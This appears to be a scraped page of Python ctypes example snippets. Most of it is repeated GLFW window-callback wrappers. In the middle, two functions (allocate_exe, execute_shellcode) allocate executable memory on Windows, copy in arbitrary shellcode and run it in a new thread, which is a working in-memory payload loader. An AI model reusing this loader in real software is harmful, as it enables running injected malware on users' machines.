python类pointer()的实例源码

def set_window_pos_callback(window, cbfun):
    '''
    Sets the position callback for the specified window.

    Wrapper for:
        GLFWwindowposfun glfwSetWindowPosCallback(GLFWwindow* window, GLFWwindowposfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_pos_callback_repository:
        previous_callback = _window_pos_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowposfun(cbfun)
    _window_pos_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowPosCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_window_size_callback(window, cbfun):
    '''
    Sets the size callback for the specified window.

    Wrapper for:
        GLFWwindowsizefun glfwSetWindowSizeCallback(GLFWwindow* window, GLFWwindowsizefun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_size_callback_repository:
        previous_callback = _window_size_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowsizefun(cbfun)
    _window_size_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowSizeCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_window_close_callback(window, cbfun):
    '''
    Sets the close callback for the specified window.

    Wrapper for:
        GLFWwindowclosefun glfwSetWindowCloseCallback(GLFWwindow* window, GLFWwindowclosefun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_close_callback_repository:
        previous_callback = _window_close_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowclosefun(cbfun)
    _window_close_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowCloseCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_window_refresh_callback(window, cbfun):
    '''
    Sets the refresh callback for the specified window.

    Wrapper for:
        GLFWwindowrefreshfun glfwSetWindowRefreshCallback(GLFWwindow* window, GLFWwindowrefreshfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_refresh_callback_repository:
        previous_callback = _window_refresh_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowrefreshfun(cbfun)
    _window_refresh_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowRefreshCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_window_iconify_callback(window, cbfun):
    '''
    Sets the iconify callback for the specified window.

    Wrapper for:
        GLFWwindowiconifyfun glfwSetWindowIconifyCallback(GLFWwindow* window, GLFWwindowiconifyfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_iconify_callback_repository:
        previous_callback = _window_iconify_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowiconifyfun(cbfun)
    _window_iconify_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowIconifyCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_framebuffer_size_callback(window, cbfun):
    '''
    Sets the framebuffer resize callback for the specified window.

    Wrapper for:
        GLFWframebuffersizefun glfwSetFramebufferSizeCallback(GLFWwindow* window, GLFWframebuffersizefun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _framebuffer_size_callback_repository:
        previous_callback = _framebuffer_size_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWframebuffersizefun(cbfun)
    _framebuffer_size_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetFramebufferSizeCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_key_callback(window, cbfun):
    '''
    Sets the key callback.

    Wrapper for:
        GLFWkeyfun glfwSetKeyCallback(GLFWwindow* window, GLFWkeyfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _key_callback_repository:
        previous_callback = _key_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWkeyfun(cbfun)
    _key_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetKeyCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_char_callback(window, cbfun):
    '''
    Sets the Unicode character callback.

    Wrapper for:
        GLFWcharfun glfwSetCharCallback(GLFWwindow* window, GLFWcharfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _char_callback_repository:
        previous_callback = _char_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWcharfun(cbfun)
    _char_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetCharCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_cursor_pos_callback(window, cbfun):
    '''
    Sets the cursor position callback.

    Wrapper for:
        GLFWcursorposfun glfwSetCursorPosCallback(GLFWwindow* window, GLFWcursorposfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _cursor_pos_callback_repository:
        previous_callback = _cursor_pos_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWcursorposfun(cbfun)
    _cursor_pos_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetCursorPosCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_cursor_enter_callback(window, cbfun):
    '''
    Sets the cursor enter/exit callback.

    Wrapper for:
        GLFWcursorenterfun glfwSetCursorEnterCallback(GLFWwindow* window, GLFWcursorenterfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _cursor_enter_callback_repository:
        previous_callback = _cursor_enter_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWcursorenterfun(cbfun)
    _cursor_enter_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetCursorEnterCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_scroll_callback(window, cbfun):
    '''
    Sets the scroll callback.

    Wrapper for:
        GLFWscrollfun glfwSetScrollCallback(GLFWwindow* window, GLFWscrollfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _scroll_callback_repository:
        previous_callback = _scroll_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWscrollfun(cbfun)
    _scroll_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetScrollCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def allocate_exe(shellcode):

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                        buf,
                                        ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

def execute_shellcode(shellcode):
    shellcode=bytearray(shellcode)
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                         buf,
                                         ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.c_int(ptr),
                                             ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

def set_window_pos_callback(window, cbfun):
    '''
    Sets the position callback for the specified window.

    Wrapper for:
        GLFWwindowposfun glfwSetWindowPosCallback(GLFWwindow* window, GLFWwindowposfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_pos_callback_repository:
        previous_callback = _window_pos_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowposfun(cbfun)
    _window_pos_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowPosCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_window_size_callback(window, cbfun):
    '''
    Sets the size callback for the specified window.

    Wrapper for:
        GLFWwindowsizefun glfwSetWindowSizeCallback(GLFWwindow* window, GLFWwindowsizefun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_size_callback_repository:
        previous_callback = _window_size_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowsizefun(cbfun)
    _window_size_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowSizeCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_window_iconify_callback(window, cbfun):
    '''
    Sets the iconify callback for the specified window.

    Wrapper for:
        GLFWwindowiconifyfun glfwSetWindowIconifyCallback(GLFWwindow* window, GLFWwindowiconifyfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _window_iconify_callback_repository:
        previous_callback = _window_iconify_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWwindowiconifyfun(cbfun)
    _window_iconify_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetWindowIconifyCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_framebuffer_size_callback(window, cbfun):
    '''
    Sets the framebuffer resize callback for the specified window.

    Wrapper for:
        GLFWframebuffersizefun glfwSetFramebufferSizeCallback(GLFWwindow* window, GLFWframebuffersizefun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _framebuffer_size_callback_repository:
        previous_callback = _framebuffer_size_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWframebuffersizefun(cbfun)
    _framebuffer_size_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetFramebufferSizeCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_key_callback(window, cbfun):
    '''
    Sets the key callback.

    Wrapper for:
        GLFWkeyfun glfwSetKeyCallback(GLFWwindow* window, GLFWkeyfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _key_callback_repository:
        previous_callback = _key_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWkeyfun(cbfun)
    _key_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetKeyCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_char_callback(window, cbfun):
    '''
    Sets the Unicode character callback.

    Wrapper for:
        GLFWcharfun glfwSetCharCallback(GLFWwindow* window, GLFWcharfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _char_callback_repository:
        previous_callback = _char_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWcharfun(cbfun)
    _char_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetCharCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]

def set_cursor_pos_callback(window, cbfun):
    '''
    Sets the cursor position callback.

    Wrapper for:
        GLFWcursorposfun glfwSetCursorPosCallback(GLFWwindow* window, GLFWcursorposfun cbfun);
    '''
    window_addr = ctypes.cast(ctypes.pointer(window),
                              ctypes.POINTER(ctypes.c_long)).contents.value
    if window_addr in _cursor_pos_callback_repository:
        previous_callback = _cursor_pos_callback_repository[window_addr]
    else:
        previous_callback = None
    if cbfun is None:
        cbfun = 0
    c_cbfun = _GLFWcursorposfun(cbfun)
    _cursor_pos_callback_repository[window_addr] = (cbfun, c_cbfun)
    cbfun = c_cbfun
    _glfw.glfwSetCursorPosCallback(window, cbfun)
    if previous_callback is not None and previous_callback[0] != 0:
        return previous_callback[0]